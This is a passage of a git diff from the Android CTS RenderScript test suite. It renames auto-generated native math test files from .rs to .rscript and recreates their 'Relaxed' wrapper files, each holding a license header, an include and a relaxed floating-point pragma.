-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeDistance.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDistanceRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDistanceRelaxed.rscript
new file mode 100644
index 0000000..342c130
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDistanceRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeDistance.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDivide.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDivide.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDivide.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDivide.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDivideRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDivideRelaxed.rs
deleted file mode 100644
index 32ae7c6..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDivideRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeDivide.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDivideRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDivideRelaxed.rscript
new file mode 100644
index 0000000..64d27b1
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeDivideRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeDivide.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp10.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp10.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp10.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp10.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp10Relaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp10Relaxed.rs
deleted file mode 100644
index 4883cdf..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp10Relaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeExp10.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp10Relaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp10Relaxed.rscript
new file mode 100644
index 0000000..48afe6e
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp10Relaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeExp10.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp2.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp2.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp2.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp2.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp2Relaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp2Relaxed.rs
deleted file mode 100644
index 2fd51e6..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp2Relaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeExp2.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp2Relaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp2Relaxed.rscript
new file mode 100644
index 0000000..194c2c7
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExp2Relaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeExp2.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExpRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExpRelaxed.rs
deleted file mode 100644
index 1200321..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExpRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeExp.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExpRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExpRelaxed.rscript
new file mode 100644
index 0000000..f6a35a9
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExpRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeExp.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExpm1.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExpm1.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExpm1.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExpm1.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExpm1Relaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExpm1Relaxed.rs
deleted file mode 100644
index 4e1ca7c..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExpm1Relaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeExpm1.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExpm1Relaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExpm1Relaxed.rscript
new file mode 100644
index 0000000..e357267
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeExpm1Relaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeExpm1.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeHypot.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeHypot.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeHypot.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeHypot.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeHypotRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeHypotRelaxed.rs
deleted file mode 100644
index 53718a9..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeHypotRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeHypot.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeHypotRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeHypotRelaxed.rscript
new file mode 100644
index 0000000..9da2a45
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeHypotRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeHypot.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLength.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLength.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLength.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLength.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLengthRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLengthRelaxed.rs
deleted file mode 100644
index 0f41162..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLengthRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeLength.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLengthRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLengthRelaxed.rscript
new file mode 100644
index 0000000..e584f18
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLengthRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeLength.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog10.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog10.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog10.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog10.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog10Relaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog10Relaxed.rs
deleted file mode 100644
index 94a47e1..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog10Relaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeLog10.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog10Relaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog10Relaxed.rscript
new file mode 100644
index 0000000..ba03f3a
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog10Relaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeLog10.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog1p.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog1p.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog1p.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog1p.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog1pRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog1pRelaxed.rs
deleted file mode 100644
index c523f6f..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog1pRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeLog1p.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog1pRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog1pRelaxed.rscript
new file mode 100644
index 0000000..475088b
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog1pRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeLog1p.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog2.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog2.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog2.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog2.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog2Relaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog2Relaxed.rs
deleted file mode 100644
index e2134e5..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog2Relaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeLog2.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog2Relaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog2Relaxed.rscript
new file mode 100644
index 0000000..d4107aa
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog2Relaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeLog2.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLogRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLogRelaxed.rs
deleted file mode 100644
index 6f5bfa1..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLogRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeLog.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLogRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLogRelaxed.rscript
new file mode 100644
index 0000000..e00d50e
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLogRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeLog.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeNormalize.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeNormalize.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeNormalize.rs
rename to tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeNormalize.rscript
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeNormalizeRelaxed.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeNormalizeRelaxed.rs
deleted file mode 100644
index 7b84267..0000000
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeNormalizeRelaxed.rs
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
-
-#include "TestNativeNormalize.rs"
-#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeNormalizeRelaxed.rscript b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeNormalizeRelaxed.rscript
new file mode 100644
index 0000000..d964dbf
--- /dev/null
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeNormalizeRelaxed.rscript
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// Don't edit this file!  It is auto-generated by frameworks/rs/api/generate.sh.
+
+#include "TestNativeNormalize.rscript"
+#pragma rs_fp_relaxed
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativePowr.rs b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativePowr.rscript
similarity index 100%
rename from tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativePowr.rs
